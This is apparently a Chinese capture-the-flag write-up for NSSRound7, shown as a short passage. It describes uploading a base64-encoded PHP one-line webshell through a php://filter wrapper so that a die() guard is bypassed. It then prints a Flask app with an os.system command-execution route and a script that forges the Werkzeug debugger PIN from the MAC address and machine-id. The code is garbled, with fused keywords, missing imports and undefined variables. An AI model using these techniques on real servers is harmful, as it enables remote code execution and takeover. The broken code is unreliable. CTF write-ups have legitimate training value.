没啥好说的,$nss=1,$nSscTF=NSSRound7。这里关键部分在文件上传。这里检索上传文件名要有png,这个好绕,只要存在即可。最后就是上传木马要绕过死亡die(),我们将一句话木马base64编码后拼接在后面,另外利用伪协议将文件内容全部base64解码,die就会变成乱码了。不过值得注意的是,base64是四位一组编码,前面拼接的<?php die(“Round7 do you like”);除去字符一共有21个,所以我们需要在后面添加aaa即可,看个例子:
from flask import Flask, request import os from time import sleep
app = Flask(__name__)
flag1 = open("/tmp/flag1.txt", "r") withopen("/tmp/flag2.txt", "r") as f: flag2 = f.read() tag = False
@app.route("/") defindex(): withopen("app.py", "r+") as f: return f.read()
@app.route("/shell", methods=['POST']) defshell(): global tag if tag != True: global flag1 del flag1 tag = True os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt") action = request.form["act"] if action.find(" ") != -1: return"Nonono" else: os.system(action) return"Wow"
private_bits = [ str(int("02:42:ac:02:9a:78".replace(":",""),16)),# str(uuid.getnode()), /sys/class/net/ens33/address "e2a9f272-7959-44cc-86ce-6cfd758857a7"+"9d61b3c56d575b4aa612ade3cbbee9cfd3b0ea6b9e89b322a422cd672373044c"# get_machine_id(), /etc/machine-id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num isNone: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break else: rv = num print(rv)